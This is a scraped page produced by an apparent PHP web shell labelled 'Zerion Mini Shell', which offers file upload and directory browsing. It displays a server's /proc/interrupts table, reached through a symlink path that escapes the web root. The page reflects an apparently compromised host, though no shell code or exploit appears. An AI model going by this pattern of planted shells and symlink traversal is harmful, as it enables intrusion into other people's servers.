ok

Mini Shell

Direktori : /proc/self/cwd/indosec_sym/root/proc/thread-self/root/proc/
Upload File :
Current File : //proc/self/cwd/indosec_sym/root/proc/thread-self/root/proc/interrupts

           CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       
  0:        129          0          0          0          0          0          0          0   IO-APIC   2-edge      timer
  1:          0          0          0          0          0          0          0          9   IO-APIC   1-edge      i8042
  4:          0        277          8          0          0          1          0          0   IO-APIC   4-edge      ttyS0
  8:          0          0          0          0          0          0          0          0   IO-APIC   8-edge      rtc0
  9:          0          0          0          0          0          0          0          0   IO-APIC   9-fasteoi   acpi
 12:          0          0          0          0          0          0         15          0   IO-APIC  12-edge      i8042
 16:          0          0          0          0          0          0          0          0   IO-APIC  16-fasteoi   i801_smbus
 22:       3289       8317       8729       5659       8879       4884      20316       2415   IO-APIC  22-fasteoi   uhci_hcd:usb1, virtio4
 24:          0          0          0          0          0          0          0          0   PCI-MSI 32768-edge      PCIe PME, aerdrv
 25:          0          0          0          0          0          0          0          0   PCI-MSI 34816-edge      PCIe PME, aerdrv
 26:          0          0          0          0          0          0          0          0   PCI-MSI 36864-edge      PCIe PME, aerdrv
 27:          0          0          0          0          0          0          0          0   PCI-MSI 38912-edge      PCIe PME, aerdrv
 28:          0          0          0          0          0          0          0          0   PCI-MSI 40960-edge      PCIe PME, aerdrv
 29:          0          0          0          0          0          0          0          0   PCI-MSI 43008-edge      PCIe PME, aerdrv
 30:          0          0          0          0          0          0          0          0   PCI-MSI 45056-edge      PCIe PME, aerdrv
 31:          0          0          0          0          0          0          0          0   PCI-MSI 47104-edge      PCIe PME, aerdrv
 32:          0          0          0          0          0          0          0          0   PCI-MSI 49152-edge      PCIe PME, aerdrv
 33:          0          0          0          0          0          0          0          0   PCI-MSI 51200-edge      PCIe PME, aerdrv
 34:          0          0          0          0          0          0          0          0   PCI-MSI 53248-edge      PCIe PME, aerdrv
 35:          0          0          0          0          0          0          0          0   PCI-MSI 55296-edge      PCIe PME, aerdrv
 36:          0          0          0          0          0          0          0          0   PCI-MSI 57344-edge      PCIe PME, aerdrv
 37:          0          0          0          0          0          0          0          0   PCI-MSI 59392-edge      PCIe PME, aerdrv
 38:          0          0          0          0          0          0          0          0   PCI-MSI 61440-edge      PCIe PME, aerdrv
 39:          0          0          0          0          0          0          0          0   PCI-MSI 63488-edge      PCIe PME, aerdrv
 40:          0          0          0          0          0          0          0          0   PCI-MSI 65536-edge      PCIe PME, aerdrv
 41:          0          0          0          0          0          0          0          0   PCI-MSI 3670016-edge      virtio5-config
 42:          0          0          0          0          5          0          0          0   PCI-MSI 3670017-edge      virtio5-input
 43:          0          0          0          0          0          0          0          0   PCI-MSI 2097152-edge      virtio2-config
 44:          0          0          0          0          0          0          0          0   PCI-MSI 2097153-edge      virtio2-control
 45:          0          0          0          0          0          0          0          0   PCI-MSI 2097154-edge      virtio2-event
 46:    1230845          0          0          0          0          0          0          0   PCI-MSI 2097155-edge      virtio2-request
 47:          0    1399928          0          0          0          0          0          0   PCI-MSI 2097156-edge      virtio2-request
 48:          0          0    1400642          0          0          0          0          0   PCI-MSI 2097157-edge      virtio2-request
 49:          0          0          0    1273657          0          0          0          0   PCI-MSI 2097158-edge      virtio2-request
 50:          0          0          0          0    1372834          0          0          0   PCI-MSI 2097159-edge      virtio2-request
 51:          0          0          0          0          0    1279245          0          0   PCI-MSI 2097160-edge      virtio2-request
 52:          0          0          0          0          0          0    1031909          0   PCI-MSI 2097161-edge      virtio2-request
 53:          0          0          0          0          0          0          0    1080914   PCI-MSI 2097162-edge      virtio2-request
 54:          0          0          0          0          0          0          0          0   PCI-MSI 2621440-edge      virtio3-config
 55:          0          0          0         47          0          0         34          0   PCI-MSI 2621441-edge      virtio3-virtqueues
 56:          0          0          0          0          0          0          0          0   PCI-MSI 1572864-edge      virtio1-config
 57:     843035     581774     755596     982857     976235     826741     525728    1150194   PCI-MSI 1572865-edge      virtio1-input.0
 58:     640819     376554     965014    1030873     954904     896586     742397    1179824   PCI-MSI 1572866-edge      virtio1-output.0
 59:     333749     678570     672652     922106     788349     742096     463821    1027068   PCI-MSI 1572867-edge      virtio1-input.1
 60:     327422     677089     858331    1111989     978987     830160     558606    1162472   PCI-MSI 1572868-edge      virtio1-output.1
 61:     460808     513895    1396522     963107    1114481     903212     658006    1375913   PCI-MSI 1572869-edge      virtio1-input.2
 62:     551608     618578    1531497    1199835    1046433    1101144     537027    1598778   PCI-MSI 1572870-edge      virtio1-output.2
 63:     717239     405061     806560    1413499    1059632    1175865     664112    1900016   PCI-MSI 1572871-edge      virtio1-input.3
 64:     457541     604079    1199194    1316486    1403958    1476248     607101    1990628   PCI-MSI 1572872-edge      virtio1-output.3
 65:     729611     565012     920540    1164148    1687675    1222850     723929    1688964   PCI-MSI 1572873-edge      virtio1-input.4
 66:     770709     938641    1044067    1225722    1624720    1223574     555763    1740791   PCI-MSI 1572874-edge      virtio1-output.4
 67:     831764     939304    1128913    1406122    1020198    1400210     788804    2145905   PCI-MSI 1572875-edge      virtio1-input.5
 68:     633374     566174    1168718    1596426    1551447    1213589     810642    2437126   PCI-MSI 1572876-edge      virtio1-output.5
 69:     321984     383380     697958     920610     846384     828458     997950    1115716   PCI-MSI 1572877-edge      virtio1-input.6
 70:     393052     374938     699994     970237    1066456     883841    1005817    1155885   PCI-MSI 1572878-edge      virtio1-output.6
 71:    1091779     818178     973533    1279886    1150016    3262465     506602    1670719   PCI-MSI 1572879-edge      virtio1-input.7
 72:     735848     593000    1315414    1474071    1028911    3627359     730164    1492616   PCI-MSI 1572880-edge      virtio1-output.7
 73:      13284      32578      40356      36133      53218      36018      83750      17975   PCI-MSI 512000-edge      ahci[0000:00:1f.2]
 74:          0          0          0          0          0          0          0          0   PCI-MSI 16384-edge      virtio0-config
 75:     149467     226796     320150     491260     373824     454176     469259     517238   PCI-MSI 16385-edge      virtio0-control
 76:          0          0          0          0          0          0          0          0   PCI-MSI 16386-edge      virtio0-cursor
NMI:          0          0          0          0          0          0          0          0   Non-maskable interrupts
LOC:  129762305  142809435  144603174  136413598  127991669  124035947  180200277  116978523   Local timer interrupts
SPU:          0          0          0          0          0          0          0          0   Spurious interrupts
PMI:          0          0          0          0          0          0          0          0   Performance monitoring interrupts
IWI:          0          0          0         50          1          0          0          1   IRQ work interrupts
RTR:          0          0          0          0          0          0          0          0   APIC ICR read retries
RES:     979066     945688     942990     785772    1067488    1084249     814323    1080834   Rescheduling interrupts
CAL:   29171700   31412061   28907156   27836085   25552694   24226905   23844373   23050780   Function call interrupts
TLB:     345089     172785     198235     179178     271970     303661     292940     333261   TLB shootdowns
TRM:          0          0          0          0          0          0          0          0   Thermal event interrupts
THR:          0          0          0          0          0          0          0          0   Threshold APIC interrupts
DFR:          0          0          0          0          0          0          0          0   Deferred Error APIC interrupts
MCE:          0          0          0          0          0          0          0          0   Machine check exceptions
MCP:       1906       1906       1906       1906       1906       1906       1906       1906   Machine check polls
HYP:          1          1          1          1          1          1          1          1   Hypervisor callback interrupts
HRE:          0          0          0          0          0          0          0          0   Hyper-V reenlightenment interrupts
HVS:          0          0          0          0          0          0          0          0   Hyper-V stimer0 interrupts
ERR:          0
MIS:          0
PIN:          0          0          0          0          0          0          0          0   Posted-interrupt notification event
NPI:          0          0          0          0          0          0          0          0   Nested posted-interrupt event
PIW:          0          0          0          0          0          0          0          0   Posted-interrupt wakeup event

Zerion Mini Shell 1.0